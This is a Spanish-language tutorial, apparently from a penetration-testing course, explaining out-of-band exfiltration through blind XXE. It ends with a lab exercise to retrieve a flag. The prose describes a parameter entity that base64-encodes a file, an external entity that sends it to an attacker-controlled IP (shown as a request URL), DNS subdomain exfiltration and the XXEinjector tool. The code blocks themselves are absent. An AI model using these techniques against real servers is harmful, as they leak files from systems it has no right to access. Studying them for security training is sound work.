🕸️Blind Data Exfiltration
En la sección anterior, vimos un ejemplo de una vulnerabilidad Blind XXE
, donde no recibimos ningún resultado que contuviera ninguna de nuestras entidades de entrada XML. Como el servidor web mostraba errores de ejecución de PHP, podíamos usar esta falla para leer el contenido de los archivos a partir de los errores mostrados. En esta sección, veremos cómo podemos obtener el contenido de los archivos en una situación completamente ciega, donde no obtenemos el resultado de ninguna de las entidades XML ni se muestra ningún error de PHP.
Exfiltración de datos out-of-band
Si intentamos repetir cualquiera de los métodos con el ejercicio que encontramos en /blind
, notaremos rápidamente que ninguno de ellos parece funcionar, ya que no tenemos forma de tener nada impreso en la respuesta de la aplicación web. Para tales casos, podemos utilizar un método conocido como Out-of-band (OOB) Data Exfiltration
, que se utiliza a menudo en casos ciegos similares con muchos ataques web, como inyecciones SQL ciegas, inyecciones de comandos ciegas, XSS ciego y, por supuesto, XXE ciego.
En nuestros ataques anteriores, utilizamos un ataque out-of-band
ya que alojamos el archivo DTD en nuestra máquina e hicimos que la aplicación web se conectara con nosotros (por lo tanto, fuera de banda). Por lo tanto, nuestro ataque esta vez será bastante similar, con una diferencia significativa. En lugar de hacer que la aplicación web envíe nuestra entidad file
a una entidad XML específica, haremos que la aplicación web envíe una solicitud web a nuestro servidor web con el contenido del archivo que estamos leyendo.
Para ello, podemos utilizar primero una entidad de parámetro para el contenido del archivo que estamos leyendo y, al mismo tiempo, utilizar un filtro PHP para codificarlo en base64. Luego, crearemos otra entidad de parámetro externa y la referenciaremos a nuestra IP, y colocaremos el valor file
del parámetro como parte de la URL que se solicita a través de HTTP, de la siguiente manera:
Si, por ejemplo, el archivo que queremos leer tuviera el contenido de XXE_SAMPLE_DATA
, entonces el parámetro file
contendría sus datos codificados en base64 (WFhFX1NBTVBMRV9EQVRB
). Cuando el XML intente hacer referencia al parámetro externo oob
desde nuestra máquina, solicitará http://NUESTRA_IP:8000/?content=WFhFX1NBTVBMRV9EQVRB
. Finalmente, podemos decodificar la cadena WFhFX1NBTVBMRV9EQVRB
para obtener el contenido del archivo. Incluso podemos escribir un script PHP simple que detecte automáticamente el contenido del archivo codificado, lo decodifique y lo envíe a la terminal:
Entonces, primero escribiremos el código PHP anterior en index.php
, y luego iniciaremos un servidor PHP en el puerto 8000
, de la siguiente manera:
Ahora, para iniciar nuestro ataque, podemos usar un payload similar al que usamos en el ataque basado en errores, y simplemente agregar <root>&content;</root>
, que es necesario para hacer referencia a nuestra entidad y hacer que envíe la solicitud a nuestra máquina con el contenido del archivo:
Luego podemos enviar nuestra solicitud a la aplicación web:
Finalmente, podemos volver a nuestra terminal y veremos que efectivamente recibimos la solicitud y su contenido decodificado:
Consejo: además de almacenar nuestros datos codificados en base64 como parámetro de nuestra URL, podemos utilizar DNS OOB Exfiltration
para de colocar los datos codificados como un subdominio de nuestra URL (por ejemplo ENCODEDTEXT.our.website.com
) y luego usar una herramienta como tcpdump
para capturar todo el tráfico entrante y decodificar la cadena del subdominio para obtener los datos. Es cierto que este método es más avanzado y requiere más esfuerzo para extraer los datos.
Exfiltración automatizada de OOB
Aunque en algunos casos es posible que tengamos que usar el método manual que aprendimos anteriormente, en muchos otros casos podemos automatizar el proceso de exfiltración de datos XXE a ciegas con herramientas. Una de esas herramientas es XXEinjector . Esta herramienta admite la mayoría de los trucos que aprendimos en este módulo, incluidos XXE básico, exfiltración de origen CDATA, XXE basado en errores y XXE OOB a ciegas.
Para utilizar esta herramienta para la exfiltración OOB automatizada, primero podemos clonar la herramienta en nuestra máquina, de la siguiente manera:
Una vez que tenemos la herramienta, podemos copiar la solicitud HTTP de Burp (Botón derecho > Copy to file) y escribirla en un archivo para que la utilice la herramienta. No debemos incluir los datos XML completos, solo la primera línea, y escribir XXEINJECT
después como un localizador de posición para la herramienta:
Ahora, podemos ejecutar la herramienta con las flags --host
/ --httpport
que son nuestra IP y puerto, la flag --file
que es el archivo que escribimos anteriormente y la flag --path
que es el archivo que queremos leer. También seleccionaremos las flags --oob=http
y --phpfilter
para repetir el ataque OOB que hicimos anteriormente, de la siguiente manera:
Vemos que la herramienta no imprimió directamente los datos. Esto se debe a que estamos codificando los datos en base64, por lo que no se imprimen. En cualquier caso, todos los archivos exfiltrados se almacenan en la carpeta Logs
de la herramienta y podemos encontrar nuestro archivo allí:
Caso práctico
Usar la exfiltración ciega de datos en la página '/blind
' para leer el contenido de '/327a6c4304ad5938eaf0efb6cc3e53dc.php
' y obtener la flag.
1. Crear archivo DTD
Lo ajustamos para leer el contenido de
/327a6c4304ad5938eaf0efb6cc3e53dc.php
Añadimos la IP de nuestra máquina de atacante
2. Modificar index.php y abrir servidor PHP
3. Añadir payload a solicitud de BurpSuite
Importante: Debe apuntar al directorio /blind/
Enviamos la petición y vemos los resultados
4. Recibimos la flag
Si volvemos a la terminal con el listener PHP abierto recibimos la conexión blind y obtenemos la flag:
Última actualización